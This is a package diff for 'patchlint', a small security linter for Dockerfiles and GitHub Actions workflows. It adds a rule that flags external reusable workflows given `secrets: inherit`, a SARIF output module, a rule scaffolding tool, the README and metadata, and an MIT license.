11
+ id="GA008",
12
+ title="Reusable workflow inherits all secrets from external repository",
13
+ severity="high",
14
+ cwe=200,
15
+ )
16
+ def check(ctx: Context) -> Iterable[Finding]:
17
+ """A job passes `secrets: inherit` to a reusable workflow in another repository.
18
+
19
+ Why it matters: `secrets: inherit` exposes every repository and organization
20
+ secret configured for the caller workflow to the called workflow. When `uses:`
21
+ points outside the current repository, that external repository's owners
22
+ control what happens to all of your secrets (see GitHub's security hardening
23
+ guide for reusable workflows).
24
+
25
+ Fix: pass only the specific secrets the external workflow actually needs:
26
+
27
+ jobs:
28
+ deploy:
29
+ uses: octo-org/shared/.github/workflows/deploy.yml@<40-character-sha>
30
+ secrets:
31
+ DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}
32
+ """
33
+ if ctx.workflow is None:
34
+ return
35
+ for _job_id, job in iter_jobs(ctx.workflow):
36
+ uses = job.get("uses")
37
+ secrets = job.get("secrets")
38
+ if not isinstance(uses, str) or uses.startswith("./"):
39
+ continue
40
+ if isinstance(secrets, str) and secrets == "inherit":
41
+ yield ctx.finding(
42
+ job.key_lines["secrets"],
43
+ f"`secrets: inherit` shares all caller secrets with external workflow `{uses}`.",
44
+ "Pass only explicit secrets under `secrets:`, e.g. `TOKEN: ${{ secrets.TOKEN }}`.",
45
+ )
File without changes
patchlint/sarif.py ADDED
@@ -0,0 +1,93 @@
1
+ """SARIF 2.1.0 output, the format GitHub code scanning and many IDEs read."""
2
+
3
+ from __future__ import annotations
4
+
5
+ from collections.abc import Iterable, Mapping
6
+ from pathlib import Path
7
+ from typing import Any
8
+
9
+ from patchlint import __version__
10
+ from patchlint.core.model import Finding, Rule
11
+
12
+ SCHEMA = "https://json.schemastore.org/sarif-2.1.0.json"
13
+ INFO_URI = "https://github.com/RubahAnomali/patchlint"
14
+
15
+ # SARIF result level, and the 0-10 score GitHub uses to label alerts
16
+ # (9+ critical, 7+ high, 4+ medium, below that low).
17
+ LEVELS = {"high": "error", "medium": "warning", "low": "note"}
18
+ SECURITY_SEVERITY = {"high": "8.0", "medium": "5.5", "low": "2.0"}
19
+
20
+
21
+ def to_uri(path: str, base: Path) -> str:
22
+ """Repository-relative, forward-slash path; GitHub needs this to place alerts."""
23
+ p = Path(path)
24
+ if p.is_absolute():
25
+ try:
26
+ p = p.relative_to(base)
27
+ except ValueError:
28
+ return p.as_uri()
29
+ return p.as_posix()
30
+
31
+
32
+ def _rule_descriptor(rule: Rule) -> dict[str, Any]:
33
+ tags = ["security", rule.filetype]
34
+ if rule.cwe:
35
+ tags.append(f"external/cwe/cwe-{rule.cwe}")
36
+ first_line = rule.doc.splitlines()[0] if rule.doc else rule.title
37
+ return {
38
+ "id": rule.id,
39
+ "name": "".join(word.capitalize() for word in rule.title.replace("`", "").split()),
40
+ "shortDescription": {"text": rule.title},
41
+ "fullDescription": {"text": first_line},
42
+ "help": {"text": rule.doc, "markdown": rule.doc},
43
+ "helpUri": f"{INFO_URI}/tree/main/src/patchlint/rules",
44
+ "defaultConfiguration": {"level": LEVELS[rule.severity]},
45
+ "properties": {
46
+ "tags": tags,
47
+ "precision": "high",
48
+ "security-severity": SECURITY_SEVERITY[rule.severity],
49
+ },
50
+ }
51
+
52
+
53
+ def to_sarif(
54
+ findings: Iterable[Finding], rules: Mapping[str, Rule], base: Path | None = None
55
+ ) -> dict[str, Any]:
56
+ """Build a SARIF log with every known rule and one result per finding."""
57
+ base = (base or Path.cwd()).resolve()
58
+ ordered = sorted(rules.values(), key=lambda r: r.id)
59
+ index = {r.id: i for i, r in enumerate(ordered)}
60
+ results = [
61
+ {
62
+ "ruleId": f.rule_id,
63
+ "ruleIndex": index[f.rule_id],
64
+ "level": LEVELS[f.severity],
65
+ "message": {"text": f"{f.message} Fix: {f.fix}"},
66
+ "locations": [
67
+ {
68
+ "physicalLocation": {
69
+ "artifactLocation": {"uri": to_uri(f.path, base)},
70
+ "region": {"startLine": max(f.line, 1)},
71
+ }
72
+ }
73
+ ],
74
+ }
75
+ for f in findings
76
+ ]
77
+ return {
78
+ "$schema": SCHEMA,
79
+ "version": "2.1.0",
80
+ "runs": [
81
+ {
82
+ "tool": {
83
+ "driver": {
84
+ "name": "patchlint",
85
+ "version": __version__,
86
+ "informationUri": INFO_URI,
87
+ "rules": [_rule_descriptor(r) for r in ordered],
88
+ }
89
+ },
90
+ "results": results,
91
+ }
92
+ ],
93
+ }
patchlint/scaffold.py ADDED
@@ -0,0 +1,88 @@
1
+ """`patchlint new-rule`: generate a rule file and its fixtures."""
2
+
3
+ from __future__ import annotations
4
+
5
+ import re
6
+ from dataclasses import dataclass
7
+ from pathlib import Path
8
+
9
+ HEADER = '''from __future__ import annotations
10
+
11
+ from collections.abc import Iterable
12
+
13
+ from patchlint.core.model import Context, Finding
14
+ from patchlint.core.registry import rule
15
+ '''
16
+
17
+ DOCSTRING = ''' """One sentence: what pattern this rule flags.
18
+
19
+ Why it matters: explain the risk in plain language.
20
+
21
+ Fix: show the safe version.
22
+ """'''
23
+
24
+ DOCKERFILE_BODY = '''
25
+
26
+ @rule(id="{id}", title="{title}", severity="medium", cwe=None)
27
+ def check(ctx: Context) -> Iterable[Finding]:
28
+ {doc}
29
+ for ins in ctx.instructions:
30
+ if False: # TODO: replace with your real condition
31
+ yield ctx.finding(ins.line, "What is wrong.", "How to fix it.")
32
+ '''
33
+
34
+ WORKFLOW_BODY = '''from patchlint.parsers.github_actions import iter_steps
35
+
36
+
37
+ @rule(id="{id}", title="{title}", severity="medium", cwe=None)
38
+ def check(ctx: Context) -> Iterable[Finding]:
39
+ {doc}
40
+ if ctx.workflow is None:
41
+ return
42
+ for _job_id, step in iter_steps(ctx.workflow):
43
+ if False: # TODO: replace with your real condition
44
+ yield ctx.finding(step.line, "What is wrong.", "How to fix it.")
45
+ '''
46
+
47
+
48
+ @dataclass(frozen=True)
49
+ class Kind:
50
+ folder: str
51
+ fixture_name: str
52
+ fixture_text: str
53
+ body: str
54
+
55
+
56
+ KINDS = {
57
+ "DL": Kind("dockerfile", "Dockerfile", "FROM python:3.12-slim\n", DOCKERFILE_BODY),
58
+ "GA": Kind(
59
+ "github_actions",
60
+ "workflow.yml",
61
+ "on: push\npermissions: read-all\njobs:\n build:\n runs-on: ubuntu-latest\n"
62
+ " steps:\n - run: echo hello\n",
63
+ WORKFLOW_BODY,
64
+ ),
65
+ }
66
+
67
+
68
+ def new_rule(rule_id: str, slug: str, repo_root: Path) -> list[Path]:
69
+ if not re.fullmatch(r"(DL|GA)\d{3}", rule_id):
70
+ raise ValueError("rule id must look like DL003 (Dockerfile) or GA003 (GitHub Actions)")
71
+ if not re.fullmatch(r"[a-z0-9_]+", slug):
72
+ raise ValueError("name must be lower_snake_case, e.g. add_instead_of_copy")
73
+ kind = KINDS[rule_id[:2]]
74
+ rule_file = repo_root / "src/patchlint/rules" / kind.folder / f"{rule_id}_{slug}.py"
75
+ bad = repo_root / "tests/fixtures" / rule_id / "bad" / kind.fixture_name
76
+ good = repo_root / "tests/fixtures" / rule_id / "good" / kind.fixture_name
77
+ for p in (rule_file, bad, good):
78
+ if p.exists():
79
+ raise FileExistsError(p)
80
+ p.parent.mkdir(parents=True, exist_ok=True)
81
+ title = slug.replace("_", " ").capitalize()
82
+ body = kind.body.format(id=rule_id, title=title, doc=DOCSTRING)
83
+ rule_file.write_text(HEADER + body, encoding="utf-8")
84
+ bad_note = "# This file MUST trigger the rule.\n"
85
+ good_note = "# This file must NOT trigger the rule.\n"
86
+ bad.write_text(bad_note + kind.fixture_text, encoding="utf-8")
87
+ good.write_text(good_note + kind.fixture_text, encoding="utf-8")
88
+ return [rule_file, bad, good]
@@ -0,0 +1,150 @@
1
+ Metadata-Version: 2.5
2
+ Name: patchlint
3
+ Version: 0.1.0
4
+ Summary: A beginner-friendly security linter for Dockerfiles and GitHub Actions workflows. Every finding explains why and how to fix it.
5
+ Project-URL: Homepage, https://github.com/RubahAnomali/patchlint
6
+ Project-URL: Issues, https://github.com/RubahAnomali/patchlint/issues
7
+ Project-URL: Changelog, https://github.com/RubahAnomali/patchlint/blob/main/CHANGELOG.md
8
+ Author: RubahAnomali
9
+ License-Expression: MIT
10
+ License-File: LICENSE
11
+ Keywords: devsecops,dockerfile,github-actions,linter,sarif,security
12
+ Classifier: Development Status :: 3 - Alpha
13
+ Classifier: Environment :: Console
14
+ Classifier: Intended Audience :: Developers
15
+ Classifier: Operating System :: OS Independent
16
+ Classifier: Programming Language :: Python :: 3
17
+ Classifier: Programming Language :: Python :: 3 :: Only
18
+ Classifier: Programming Language :: Python :: 3.10
19
+ Classifier: Programming Language :: Python :: 3.11
20
+ Classifier: Programming Language :: Python :: 3.12
21
+ Classifier: Programming Language :: Python :: 3.13
22
+ Classifier: Topic :: Security
23
+ Classifier: Topic :: Software Development :: Quality Assurance
24
+ Requires-Python: >=3.10
25
+ Requires-Dist: pyyaml>=6.0
26
+ Requires-Dist: tomli>=2.0; python_version < '3.11'
27
+ Provides-Extra: dev
28
+ Requires-Dist: mypy>=1.10; extra == 'dev'
29
+ Requires-Dist: pytest>=8; extra == 'dev'
30
+ Requires-Dist: ruff>=0.5; extra == 'dev'
31
+ Requires-Dist: types-pyyaml; extra == 'dev'
32
+ Description-Content-Type: text/markdown
33
+
34
+ # patchlint
35
+
36
+ A small, beginner-friendly security linter for config files. Every finding tells you **why** it matters and **how to fix it**.
37
+
38
+ > Status: early (v0.1 in progress). Supports **Dockerfiles** and **GitHub Actions workflows**; docker-compose is on the [roadmap](ROADMAP.md).
39
+
40
+ | Files | Found by a directory scan | Rule prefix |
41
+ |---|---|---|
42
+ | Dockerfiles | `Dockerfile`, `Dockerfile.*`, `*.dockerfile` | `DL` |
43
+ | GitHub Actions workflows | `.github/workflows/*.yml` / `*.yaml` | `GA` |
44
+
45
+ ## Install and try
46
+
47
+ ```bash
48
+ pip install patchlint # once published; for now: pip install -e ".[dev]"
49
+ patchlint scan .
50
+ patchlint list-rules
51
+ patchlint explain DL001
52
+ ```
53
+
54
+ Example output:
55
+
56
+ ```
57
+ Dockerfile:1: [DL001/high] Final stage runs as root (no non-root USER set).
58
+ fix: Add `USER <non-root-user>` after installing packages.
59
+ .github/workflows/triage.yml:8: [GA002/high] `github.event.issue.title` is attacker-controlled and is pasted into the script.
60
+ fix: Move it to `env:` and use the variable, quoted, in the script.
61
+ ```
62
+
63
+ Exit code is `1` when findings exist, so it works in CI.
64
+
65
+ | Option | What it does |
66
+ |---|---|
67
+ | `--format json` | Machine-readable list of findings |
68
+ | `--format sarif` | [SARIF 2.1.0](https://docs.oasis-open.org/sarif/sarif/v2.1.0/sarif-v2.1.0.html), for GitHub code scanning and IDEs |
69
+ | `-o FILE` | Write the report to a file instead of the terminal |
70
+ | `--exit-zero` | Exit `0` even with findings (useful before uploading a report) |
71
+ | `--rule ID` | Only run this rule (repeatable); overrides `disable` in the config |
72
+ | `--config FILE` / `--no-config` | Use a specific config file, or ignore config files |
73
+
74
+ ## Configuration
75
+
76
+ Put a `.patchlint.toml` in the folder you scan (or a `[tool.patchlint]` table in `pyproject.toml`):
77
+
78
+ ```toml
79
+ disable = ["DL002"] # turn rules off
80
+ exclude = ["tests/fixtures/*"] # skip paths (globs relative to the scanned folder; * also matches /)
81
+
82
+ [severity] # change a rule's severity: low, medium or high
83
+ GA001 = "high"
84
+ ```
85
+
86
+ Unknown keys, rule ids or severities stop the scan with an error that says what to fix, so typos never silently disable checks.
87
+
88
+ ## Show findings in GitHub's Security tab
89
+
90
+ Upload SARIF to GitHub code scanning, and findings appear as alerts on the right lines, including in pull requests. Add `.github/workflows/patchlint.yml`:
91
+
92
+ ```yaml
93
+ name: patchlint
94
+ on:
95
+ push:
96
+ branches: [main]
97
+ pull_request:
98
+ permissions:
99
+ contents: read
100
+ jobs:
101
+ scan:
102
+ runs-on: ubuntu-latest
103
+ permissions:
104
+ contents: read
105
+ security-events: write # needed to upload SARIF
106
+ steps:
107
+ - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
108
+ with:
109
+ persist-credentials: false
110
+ - uses: actions/setup-python@6d4fd22b20465ccc0f7354476588e8df7c9ca0e0 # v7.1.0
111
+ with:
112
+ python-version: "3.12"
113
+ - run: pip install patchlint
114
+ - run: patchlint scan . --format sarif -o patchlint.sarif --exit-zero
115
+ - uses: github/codeql-action/upload-sarif@915412ff23e8b7659517e607487dbeae018f2934 # v4.39.5
116
+ with:
117
+ sarif_file: patchlint.sarif
118
+ ```
119
+
120
+ Code scanning is free for public repositories. The actions are pinned to commit SHAs, which is what rule GA001 asks for.
121
+
122
+ ## Contribute in 30 minutes
123
+
124
+ Each rule is one small file. Pick an issue labelled
125
+ [`good first issue`](../../labels/good%20first%20issue), then:
126
+
127
+ ```bash
128
+ pip install -e ".[dev]"
129
+ patchlint new-rule DL003 add_instead_of_copy # Dockerfile rule + fixtures
130
+ patchlint new-rule GA003 missing_permissions # GitHub Actions rule + fixtures
131
+ # edit the rule, edit the two fixtures, then:
132
+ pytest
133
+ ```
134
+
135
+ Full walkthrough: [CONTRIBUTING.md](CONTRIBUTING.md).
136
+
137
+ ## Project layout
138
+
139
+ ```
140
+ src/patchlint/
141
+ rules/dockerfile/ one file per Dockerfile rule (DL001_root_user.py ...)
142
+ rules/github_actions/ one file per workflow rule (GA001_unpinned_action.py ...)
143
+ parsers/ file-format parsers
144
+ core/ rule registry, runner, data types
145
+ tests/fixtures/<ID>/{bad,good}/ one file in each; every rule needs both
146
+ ```
147
+
148
+ ## License
149
+
150
+ MIT, see [LICENSE](LICENSE). Report vulnerabilities privately: see [SECURITY.md](SECURITY.md).
@@ -0,0 +1,27 @@
1
+ patchlint/__init__.py,sha256=LcaDCXpWwzTrn8oWmJLc_lYt_y-f3pSpUOzlPJp0Oek,94
2
+ patchlint/cli.py,sha256=ubhMdu_xU5FLrypaQjw1X6Xd4RRTUS7xUYoFoONkKsI,4179
3
+ patchlint/config.py,sha256=LTbGJlLCqbgGKnKHe5P_nhN4ZKgfZpN4tJVmqkll8eE,4365
4
+ patchlint/sarif.py,sha256=SR66z-6aRtdAKRXrIDQ5sLddfBO8eAp30timVdi_iIs,3139
5
+ patchlint/scaffold.py,sha256=WXP6h_qNHkOLv4Te-ImjpfEoUaIl3wxKsSb4TBa9y4A,2942
6
+ patchlint/core/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
7
+ patchlint/core/model.py,sha256=m6HE-MDvjrm7mgwd9u4Og5-Z4fklTuK47RbCD5U0A2Y,1859
8
+ patchlint/core/registry.py,sha256=b2Y12KDz7NuN6-kcO9VzCOeRSFe_i3DD4cGoAJYeDPs,1540
9
+ patchlint/core/runner.py,sha256=MaCO6GozZpaOVTaP8Oz_Uk3tTy3lAom5qq_UP8UcTtk,3629
10
+ patchlint/parsers/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
11
+ patchlint/parsers/dockerfile.py,sha256=UJt1LffSqMcLnMVFsHZ2NunzTWruYJWcWZZg3jt6ouc,1166
12
+ patchlint/parsers/github_actions.py,sha256=ahdIEB2Pia1LO36IYxNsgeiaKpZ6GVzvSHfZHTMqJmM,2503
13
+ patchlint/rules/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
14
+ patchlint/rules/dockerfile/DL001_root_user.py,sha256=x8uDsfKva1g0k_fHO9ZtHUHTqWa_gI9ntKWoT1B5MdY,1117
15
+ patchlint/rules/dockerfile/DL002_unpinned_base_image.py,sha256=3UjhGBvbhPB4io1XezYumkrAfL3y5S_c8uZW_NXn1dI,1429
16
+ patchlint/rules/dockerfile/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
17
+ patchlint/rules/github_actions/GA001_unpinned_action.py,sha256=4BTriJCD0XECOs0adFN3caXk8DS8Q6kBZmOPaJMm3PE,1766
18
+ patchlint/rules/github_actions/GA002_script_injection.py,sha256=1XQH-4-ruxwk4NObNRHrdBfkjuBB3gpJCqt-8qX_EPE,2147
19
+ patchlint/rules/github_actions/GA003_missing_permissions.py,sha256=jykR-9VMIKb0RjHIVo4wS0LV5rSNdCsot8gFixlC8s8,1429
20
+ patchlint/rules/github_actions/GA004_pull_request_target_checkout.py,sha256=b50o-heqoUzHiBK97Jhe0Nwkb3xgFAyPjRyMlPgrjJc,2644
21
+ patchlint/rules/github_actions/GA008_secrets_inherit.py,sha256=48nXINFjJnhAfriRL9Z696JYV6dSt5rDswjQrkufKcw,1718
22
+ patchlint/rules/github_actions/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
23
+ patchlint-0.1.0.dist-info/METADATA,sha256=dTBB4f4pc7IWZUVAfNVpp4EcYJ4i4B4gC57G9XaHSjc,5647
24
+ patchlint-0.1.0.dist-info/WHEEL,sha256=2iZrJkDIkeDh0k9SikKMqFuRP-ua6mb4Ir1AsER4BEw,87
25
+ patchlint-0.1.0.dist-info/entry_points.txt,sha256=nuBXSlZbmjvM-1zJ2zmJxtuUE8BuA7-rYCCe-bMoWAY,49
26
+ patchlint-0.1.0.dist-info/licenses/LICENSE,sha256=7uPPZqo1WSq0q5Oc0-ea6OifkH7-haLHhrHoI3yUYow,1079
27
+ patchlint-0.1.0.dist-info/RECORD,,
@@ -0,0 +1,4 @@
1
+ Wheel-Version: 1.0
2
+ Generator: hatchling 1.33.0
3
+ Root-Is-Purelib: true
4
+ Tag: py3-none-any
@@ -0,0 +1,2 @@
1
+ [console_scripts]
2
+ patchlint = patchlint.cli:main
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 patchlint contributors
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.